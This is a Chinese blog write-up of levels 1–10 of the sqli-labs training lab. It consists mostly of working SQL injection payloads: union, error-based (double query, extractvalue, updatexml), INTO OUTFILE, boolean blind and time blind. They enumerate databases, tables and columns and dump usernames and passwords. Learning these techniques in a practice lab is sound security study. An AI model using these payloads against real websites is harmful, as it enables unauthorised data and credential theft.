sqli-labs(1-10)

第一关:

构造闭合:

有数据显示只需构造闭合就可爆出数据

构造闭合方式:“ ”、‘ ’、( )、(‘ ’)、(“ ”)、整形

判断闭合的方法:and 1 =1 或 and 1 = 2

判断闭合时,可以利用注释符 “–+”

第一关注入点:

/Less-1/?id=1'  and 1=2 --+

闭合方式判断成功就可以找到注入点

注入sql语句、爆数据

  • 使用联合查询,判断列数(联合查询必须列数相等)
/Less-1/?id=1' union all select 1,2,3 --+
 
  • 使用sql函数查询系统数据
    • 数据库版本
Less-1/?id=-1' union all select 1,version(),3 --+
  • 数据库名
/Less-1/?id=-1' union all select 1,database(),3 --+
  • 连接数据库用户
/Less-1/?id=-1' union all select 1,session_user(),3 --+
  • 操作系统
/Less-1/?id=-1' union all select 1,@@version_compile_os,3 --+

  • 查看数据库数据
    • 显示所有数据库名(group_concat() 函数把列转换为行输出)
/Less-1/?id=-1' union all select 1,schema_name,3 from information_schema.schemata --+
/Less-1/?id=-1' union all select 1,group_concat(schema_name),3 from information_schema.schemata --+
  • 显示当前数据库的所有表名
/Less-1/?id=-1' union all select 1,table_name,3 from information_schema.tables where table_schema = database()--+
/Less-1/?id=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where  table_schema = database()--+
  • 显示表的列名
/Less-1 /?id=-1' union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
  • 显示username列和password列
/Less-1/?id=-1' union all select 1,group_concat(username),group_concat(password) from users --+

显示出所有信息,第一关通关!

第二关:

与第一关一致,都有数据显示,只是闭合方式不同
闭合方式:

/Less-2/?id=-1 and 1=2 --+

整形可以不必加注释
第二关的sql注入与第一关一样

显示出所有信息,第二关通关!

第三关:

闭合方式:

/Less-3/?id=1') and 1=2 --+

第三关的sql注入与前面一样

显示出所有信息,第三关通关!

第四关:

闭合方式:

/Less-4/?id=1") and 1=2 --+

第四关的sql注入与前面一样

显示出所有信息,第四关通关!

第五关:

与前面不同的是,这一关没有数据信息显示,只有一行信息显示

闭合方式:

/Less-5/?id=1' and 1=2--+

sql注入方式:
双查询注入(注入时不一定一次成功,需要多试几次)

  • 使用联合查询,判断表的列数
 
/Less-5/?id=1' union all select 1,2,3 --+
  • 使用sql函数查询系统数据
    • 数据库版本
/Less-5/?id=1' union all select null,count(*),concat((select version()),floor(rand()*2)) as a from information_schema.schemata group by a --+
  • 数据库名
/Less-5/?id=1' union all select null,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.schemata group by a --+

  • 连接数据库用户
/Less-5/?id=1' union all select null,count(*),concat((select session_user()),floor(rand()*2)) as a from information_schema.schemata group by a --+

  • 操作系统
/Less-5/?id=1' union all select null,count(*),concat((select @@version_compile_os),floor(rand()*2)) as a from information_schema.schemata group by a --+

  • 查看数据库数据
    • 显示所有数据库名(需要手动输出)
    • Select column_name from information_schema.columns where schema_name = database()
/Less-5/?id=1' union all select null,count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
 
/Less-5/?id=1' union all select null,count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
 
/Less-5/?id=1' union all select null,count(*),concat((select schema_name from information_schema.schemata limit 2,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
 
/Less-5/?id=1' union all select null,count(*),concat((select schema_name from information_schema.schemata limit 7,1),floor(rand()*2)) as a from information_schema.schemata group by a --+

  • 显示当前数据库的所有表名(需要手动输出)
/Less-5/?id=1' union all select null,count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor(rand()*2)) as a from information_schema.schemata group by a --+

  • 显示表的列名
/Less-5/?id=1' union all select null,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a --+

  • 显示username列和password列
/Less-5/?id=1' union all select null,count(*),concat((select username from users limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a --+
/Less-5/?id=1' union all select null,count(*),concat((select password from users limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a --+

显示出所有的信息,第五关通关!

第六关:

与第5关相同,采用另一种形式

闭合方式:

/Less-6/?id=1" and 1=2 --+

sql注入方式:

xml报错型注入:

  • Extractvalue
  • Updatexml
  • 使用sql函数查询系统数据
  • 数据库版本
/Less-6/?id=1" and extractvalue(1,concat(version())) --+

  • 数据库名
/Less-6/?id=1" and extractvalue(1,concat(0x23,database(),0x23)) --+
/Less-6/?id=1" and updatexml(1,concat(0x23,database(),0x23),1)--+

  • 连接数据库用户
/Less-6/?id=1" and extractvalue(1,concat(0x23,user(),0x23)) --+

  • 操作系统
/Less-6/?id=1" and extractvalue(1,concat(0x23,@@version_compile_os,0x23)) --+
 

  • 查看数据库数据
    • 显示所有数据库名(需要多次输出)
    • /Less-6/?id=1%22%20and%20extractvalue(1,mid(concat(0x23,(select%20group_concat(schema_name%20from%20inormation_schema.schemata)),0x23),1,32))–+
/Less-6/?id=1" and extractvalue(1,mid(concat(0x23,(select group_concat(schema_name) from information_schema.schemata),0x23),1,32)) --+

  • 显示当前数据库的所有表名(需要多次输出)
/Less-6/?id=1" and extractvalue(1,mid(concat(0x23,(select group_concat(schema_name) from information_schema.schemata),0x23),1,32)) --+

  • 显示表的列名
/Less-6/?id=1" and extractvalue(1,mid(concat(0x23,(select group_concat(table_name) from information_schema.tables where  table_schema = database()),0x23),1,32)) --+

  • 显示username列和password列
/Less-6/?id=1" and  extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+

显示出所有信息,第六关通关

第七关:

与前面不同的是,这次给的提示信息是要outfile,要导出文件

闭合方式:

/Less-7/?id=1')) and 1=1 --+
 
文件导出:

  • 使用sql函数查询系统数据
    • 数据库版本
/Less-7/?id=1')) union all select 1,version(),3 into outfile '/var/lib/mysql/datafile/out1.txt' --+

  • 数据库名
/Less-7/?id=1')) union all select 1,database(),3 into outfile '/var/lib/mysql/datafile/out2.txt' --+

  • 连接数据库用户
/Less-7/?id=1')) union all select 1,session_user(),3 into outfile '/var/lib/mysql/datafile/out3.txt' --+

  • 操作系统
/Less-7/?id=1')) union all select 1,@@version_compile_os,3 into outfile '/var/lib/mysql/datafile/out4.txt' --+

  • 查看数据库数据
    • 显示所有数据库名(group_concat() 函数把列转换为行输出)
/Less-7/?id=-1')) union all select null,group_concat(schema_name),null from information_schema.schemata into outfile '/var/lib/mysql/datafile/out5.txt' --+

  • 显示当前数据库的所有表名
/Less-7/?id=-1')) union all select null,group_concat(table_name),null from information_schema.tables where  table_schema = database() into outfile '/var/lib/mysql/datafile/out5.txt' --+

  • 显示表的列名
/Less-7/?id=-1')) union all select null,group_concat(column_name),null from information_schema.columns where table_schema='security' and table_name='users' into outfile '/var/lib/mysql/datafile/out5.txt' --+

  • 显示username列和password列
/Less-7/?id=-1')) union all select null,group_concat(username),group_concat(password) from users into outfile '/var/lib/mysql/datafile/out5.txt' --+
 
 
#有写数据库的设置有限制们只能保存在mysql的路径下

第八关:

与前面不同的是,第8关只显示对和错,不返回错误信息,需要通过猜测去判断

闭合方式:

/Less-8/?id=1'and 1=2

注入方式:

布尔型盲注


  • 使用sql函数查询系统数据
    • 数据库版本
/Less-8/?id=1' and (select version())='5.5.44-MariaDB' --+
/Less-8/?id=1' and (left((select version()),1))=5 --+

  • 数据库名
/Less-8/?id=1' and (left((select database()),2))='se' --+

  • 连接数据库用户
/Less-8/?id=1' and (left((select user()),1))='r' --+
/Less-8/?id=1' and ascii((left((select user()),1))) > 100--+

  • 操作系统
/Less-8/?id=1' and (left((select @@version_compile_os),1))='L'--+
 

  • 查看数据库数据
    • 显示所有数据库名
/Less-8/?id=1' and ascii((left((select group_concat(schema_name)from information_schema.schemata),1)))> 20--+

  • 显示当前数据库的所有表名
/Less-8/?id=1' and ascii((left((select group_concat(table_name) from information_schema.tables where  table_schema = database()),1)))> 20--+

  • 显示表的列名
/Less-8/?id=1' and ascii((left((
select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),1)))> 20--+

  • 判断username列第一行第一个字母
/Less-8/?id=1' and ascii(substr((select username from users limit 1,1),1,1)) > 10 --+

第九关:

不论如何构造闭合,页面都是现实的是同一条信息,所以采用时间盲注

构造闭合:

这里闭合的判断也需要使用时间延迟

/Less-9/?id=1' and sleep(3) --+

注入方式:
时间盲注

  • 使用sql函数查询系统数据
    • 数据库版本
/Less-9/?id=1' and if(left((select version()),1)=5,sleep(2),1) --+

  • 数据库名
/Less-9/?id=1' and if(left((select database()),1)='s',sleep(2),1) --+

  • 连接数据库用户
/Less-9/?id=1' and if(ascii(left((select user()),1)) > 100,sleep(2),1) --+

  • 操作系统
/Less-9/?id=1' and if((left((select @@version_compile_os),1))='L',sleep(2),1) --+
 

  • 查看数据库数据
    • 显示所有数据库名
/Less-9/?id=1' and if(ascii((left((select group_concat(schema_name)from information_schema.schemata),1)))> 20,sleep(2),1) --+

  • 显示当前数据库的所有表名
/Less-9/?id=1' and if(ascii((left((select group_concat(table_name) from information_schema.tables where%20 table_schema = database()),1)))> 20,sleep(2),1) --+

  • 显示表的列名
/Less-9/?id=1' and if(ascii((left((select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),1)))> 20,sleep(2),1) --+

  • 判断username列第一行第一个字母
/Less-9/?id=1' and if(ascii(substr((select username from users limit 1,1),1,1)) > 10,sleep(3),1) --+

第十关:

与第九关一样,时间型注入

封闭格式:

/Less-10/?id=1" and sleep(3) --+
 
#注入方式:
#时间型盲注

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值